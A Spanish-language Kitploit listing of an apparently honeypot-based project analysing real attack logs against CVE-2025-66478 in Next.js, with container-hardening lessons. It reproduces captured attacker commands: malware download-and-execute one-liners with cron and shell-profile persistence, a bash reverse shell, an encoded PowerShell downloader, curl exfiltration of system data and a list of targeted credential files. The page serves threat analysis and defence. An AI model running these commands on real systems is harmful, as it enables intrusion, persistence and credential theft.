Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-66478 — Análisis de registros de ataques del mundo real de CVE-2025-66478 (RCE en Next.js Server Actions) con muestras de malware, seguimiento de IP del atacante y lecciones de endurecimiento de seguridad de contenedores. | Kitploit
Herramientas/GitHubGitHub/exptechtw/cve-2025-66478
Seguridad de ContenedoresAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebAnálisis ForenseAnálisis de MalwareInteligencia de AmenazasAprendizaje y EducaciónRespuesta a Incidentes
GitHubexptechtw/cve-2025-66478

CVE-2025-66478

Análisis de registros de ataques del mundo real de CVE-2025-66478 (RCE en Next.js Server Actions) con muestras de malware, seguimiento de IP del atacante y lecciones de endurecimiento de seguridad de contenedores.

25hace 9 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

CVE-2025-66478 - Análisis de registros de ataques reales contra la vulnerabilidad RCE de Next.js Server Actions

Resumen

Este proyecto recopila los registros reales de ataques capturados por una aplicación Next.js 15.1.2 expuesta en Internet (ejecutada en un contenedor Docker). Estos registros muestran cómo la vulnerabilidad CVE-2025-66478 fue escaneada y explotada en la naturaleza por numerosas herramientas de ataque automatizadas.

Rango de tiempo registrado: 2025-12-04 ~ 2025-12-06 (aproximadamente 48 horas)

Información del entorno:

  • Marco de trabajo: Next.js 15.1.2
  • Entorno de ejecución: Bun v1.2.20
  • Contenedor: Docker (Alpine Linux)
  • Zona horaria: Asia/Taipei

Estadísticas de tipos de ataque

1. Descarga y ejecución de malware (Dropper/Downloader)

Los atacantes intentaron ejecutar comandos que descargan y ejecutan malware a través de la vulnerabilidad.

IP de origen del ataqueURL de la carga maliciosaDescripción
216.158.232.43http://216.158.232.43:12000/sex.shBotnet/minador
38.207.161.212http://38.207.161.212/agentPrograma agente malicioso
43.156.63.124http://43.156.63.124/tsdImplanta un backdoor en cron
154.38.121.219res.qiqigece.top/nginx3Malware disfrazado de nginx
47.79.42.91iot.632313373.xyz/nz.shScript de botnet IoT
47.79.65.237sup001.oss-cn-hongkong.aliyuncs.com/python1.shMinador/programa de backdoor
103.135.101.15http://103.135.101.15/wocaosinm.shScript malicioso
38.12.24.231http://38.12.24.231/kworkerMalware disfrazado de kernel worker
128.199.194.97http://128.199.194.97:9001/setup2.shScript de inicialización

Ejemplo de comandos de ataque

root@kitploit:~
# 典型的 dropper 攻擊
curl -fsSL http://38.207.161.212/agent -o /tmp/.a && chmod +x /tmp/.a && /tmp/.a

# 植入 cron 持久化後門
curl -s -o /etc/cron.hourly/tsd http://43.156.63.124/tsd && chmod +x /etc/cron.hourly/tsd

# 複雜的持久化攻擊(嘗試多種下載方式 + cron + bashrc)
u='http://38.12.24.231/kworker'; n='kworker';
for d in $HOME/.config/sys_monitor /tmp/.sys_monitor /dev/shm/.sys_monitor /var/tmp/.sys_monitor; do
  mkdir -p $d;
  if [ -w $d ]; then
    p="$d/$n";
    (curl -ks $u -o $p || wget -q --no-check-certificate $u -O $p || python3 -c "import urllib.request;urllib.request.urlretrieve('$u','$p')");
    chmod +x $p;
    nohup $p >/dev/null 2>&1 &
    (crontab -l 2>/dev/null | grep -v $n; echo "* * * * * $p >/dev/null 2>&1") | crontab -;
    echo "$p >/dev/null 2>&1 &" >> ~/.bashrc;
    echo "$p >/dev/null 2>&1 &" >> ~/.zshrc;
  fi;
done

2. Shell inversa (Reverse Shell)

Los atacantes intentaron establecer conexiones de reverse shell para obtener acceso interactivo.

root@kitploit:~
# Bash 反向 shell
bash -c "bash -i >& /dev/tcp/154.26.192.32/19899 0>&1"

3. Ataques PowerShell (suposición errónea de Windows)

Los atacantes asumieron que el objetivo era un sistema Windows e intentaron ejecutar comandos de PowerShell.

root@kitploit:~
# Base64 編碼的惡意 PowerShell
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADUANgAuADIAMwA0AC4AMgAwADkALgAxADAAMwA6ADYAMwA5ADMAOAAvAG4AcgBDAHIAUQAnACkA

# 解碼後:
# IEX (New-Object System.Net.Webclient).DownloadString('http://156.234.209.103:63938/nrCrQ')

# 數學計算用於漏洞確認
powershell -c "41*271"      # = 11111(特徵碼確認)
powershell -c "44225*41002" # = 1814113450

4. Recopilación de información (Information Gathering)

Los atacantes intentaron recopilar información del sistema para ataques posteriores.

root@kitploit:~
# 系統資訊收集並外傳
curl http://38.60.212.106:8000/?data=`(hostname;ip addr show;id;ip route show;ip neigh show;route -n;cat /etc/passwd;hostname -I) | base64 -w 0`

5. Robo de credenciales (Credential Harvesting)

Los atacantes intentaron leer diversos archivos sensibles y credenciales.

Rutas sensibles que se intentaron leer

6. Fuga de variables de entorno

Variables de entorno del contenedor que se filtraron con éxito a través de la vulnerabilidad:

root@kitploit:~
HOSTNAME=6973aeebae41
BUN_INSTALL_BIN=/usr/local/bin
HOME=/root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/bun-node-fallback-bin
PWD=/app
TZ=Asia/Taipei
NODE_ENV=production
BUN_RUNTIME_TRANSPILER_CACHE_PATH=0

7. Exfiltración por DNS (DNS Exfiltration)

Los atacantes utilizaron consultas DNS para exfiltrar datos o confirmar la vulnerabilidad:

root@kitploit:~
ping 5a58e4a0.log.dnslog.pp.ua.

Razones del fracaso de los ataques

La mayoría de los ataques fracasaron debido a la naturaleza minimalista del contenedor Alpine Linux:

Herramienta faltanteImpacto
curlNo se pueden descargar las cargas maliciosas
bash

Aunque wget está disponible, algunos scripts maliciosos siguen dependiendo internamente de curl o bash, lo que provoca que su ejecución falle.


Ejemplos de decodificación Base64

Los registros contienen una gran cantidad de datos codificados en Base64. A continuación se muestran algunos resultados de decodificación:

Fuga de información del sistema

root@kitploit:~
# digest: 'cm9vdAo='
解碼: root

# digest: 'dGVzdAo='
解碼: test

# digest: 'dnVsbmVyYWJpbGl0eV90ZXN0Cg=='
解碼: vulnerability_test

# digest: 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCksMShiaW4pLDIoZGFlbW9uKSwzKHN5cyksNChhZG0pLDYoZGlzayksMTAod2hlZWwpLDExKGZsb3BweSksMjAoZGlhbG91dCksMjYodGFwZSksMjcodmlkZW8pCg=='
解碼: uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Fuga del listado de directorios

root@kitploit:~
# /tmp 目錄內容
dG90YWwgMjAKZHJ3eHJ3eHJ3dCAgICAxIHJvb3QgICAgIHJvb3QgICAgICAgICAgNDA5NiBEZWMgIDUgMTg6MDAgLgpkcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA0MDk2IERlYyAgNCAxMzozNiAuLgotcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA5ODQ4IERlYyAgNSAxODowMCBJTlNUQUxMCg==

解碼:
total 20
drwxrwxrwt    1 root     root          4096 Dec  5 18:00 .
drwxr-xr-x    1 root     root          4096 Dec  4 13:36 ..
-rwxr-xr-x    1 root     root          9848 Dec  5 18:00 INSTALL

Estadísticas de IPs de origen de los ataques

A continuación se muestran las direcciones IP de origen de los ataques registrados:


Métodos de explotación (Attack Vectors)

Llamadas a Server Action

Los atacantes intentaron invocar Server Actions inexistentes:

root@kitploit:~
Failed to find Server Action "dev-only-action"
Failed to find Server Action "non_existent_action_id"
Failed to find Server Action "test"
Failed to find Server Action "x"

Fuga de información en las respuestas de error

Los atacantes aprovecharon el campo digest en los mensajes de error para filtrar datos:

root@kitploit:~
Error: x
  digest: 'cm9vdAo='  // Base64 編碼的 'root'

Puntos clave de aprendizaje

1. Buenas prácticas de seguridad en contenedores

  • Minimizar las imágenes: el uso de imágenes base minimalistas (como Alpine) reduce la superficie de ataque
  • Eliminar herramientas innecesarias: no instalar herramientas como curl, bash o python que puedan ser abusadas
  • Sistema de archivos de solo lectura: ejecutar el contenedor con --read-only
  • Usuario no root: ejecutar la aplicación con un usuario sin privilegios

2. Parcheo de la vulnerabilidad

  • Actualizar Next.js a una versión parcheada
  • Validar las entradas de Server Action
  • Implementar reglas WAF para filtrar solicitudes sospechosas

3. Monitorización y detección

  • Monitorear la ejecución anómala de procesos secundarios
  • Monitorear las conexiones salientes de la red
  • Monitorear los intentos de acceso a archivos sensibles

Descargo de responsabilidad

Este proyecto tiene fines exclusivamente educativos y de investigación en ciberseguridad. Todos los ataques registrados son intentos reales de ataque dirigidos a un honeypot de investigación. No utilice esta información con fines ilegales.


Muestras de malware

Este proyecto incluye muestras reales de malware extraídas y descargadas de los registros de ataques. Consulte el análisis detallado en:

malware_samples/ANALYSIS.md

Muestras obtenidas

Resumen de técnicas de ataque

  1. nz.sh - Instala el agente de monitorización Nezha para supervisar de forma remota el host víctima
  2. tsd.sh + tsd - Establece múltiples mecanismos de persistencia (cron + systemd + rc.local)
  3. init.sh + agent - Marco completo de backdoor con soporte para múltiples sistemas, reinicio automático y registro de actividad

Recursos relacionados

  • Next.js Security Advisories
  • OWASP - Command Injection
  • MITRE ATT&CK - Execution

Licencia

MIT License

Descargar herramienta
CategoríaRuta
Credenciales en la nube/root/.aws/credentials, /root/.aws/config
/root/.config/gcloud/credentials.db
/root/.config/gcloud/application_default_credentials
Claves SSH/root/.ssh/id_rsa, /root/.ssh/config
Credenciales Git/root/.git-credentials, /root/.gitconfig
Contenedor/K8s/root/.docker/config, /root/.kube/config
/var/lib/kubelet/config.yaml
Aplicación/proc/self/cwd/serviceAccountKey.json (Firebase)
/proc/self/cwd/prisma/.env, /proc/self/cwd/prisma/schema.prisma
Historial de shell/root/.bash_history, /root/.zsh_history
Herramientas en la nube/root/.ossutilconfig (Alibaba Cloud OSS)
/root/.npmrc
Configuración del sistema/etc/ansible/ansible.cfg, /etc/passwd, /etc/shadow
No se puede ejecutar la sintaxis específica de bash (como reverse shells)
powershellLos ataques a Windows no son efectivos
pythonNo se puede usar el descargador de Python
Dirección IPPaís/Región (estimado)Tipo de ataque
216.158.232.43Estados UnidosDropper
38.165.44.205Estados UnidosDropper
23.95.44.80Estados UnidosDropper
154.38.121.219Hong KongMalware (nginx3)
38.207.161.212Estados UnidosAgent
43.156.63.124ChinaBackdoor cron
47.79.42.91China (Alibaba Cloud)Botnet IoT
47.79.65.237China (Alibaba Cloud)Minador
119.45.243.154China (Tencent Cloud)Minador
144.22.210.54BrasilDropper
217.60.249.228SueciaDropper
154.26.192.32Estados UnidosReverse Shell
156.234.209.103DesconocidoCarga útil PowerShell
38.60.212.106Estados UnidosRecopilación de información
103.135.101.15VietnamBotnet
128.199.194.97Singapur (DigitalOcean)Script de instalación
38.12.24.231Estados UnidosMalware persistente
ArchivoTipoTamañoOrigenNivel de amenaza
nz.shScript de shell931 Biot.632313373.xyzMedia
tsd.shScript de shell1.7 KB43.156.63.124Alta
tsdELF 64-bit6.8 MB43.156.63.124Alta
init.shScript de shell6.1 KBAWS S3Crítica
agentELF 64-bit23.7 MBAWS S3Crítica
Agtisx.exePE32+ (Windows)24.0 MBAWS S3Crítica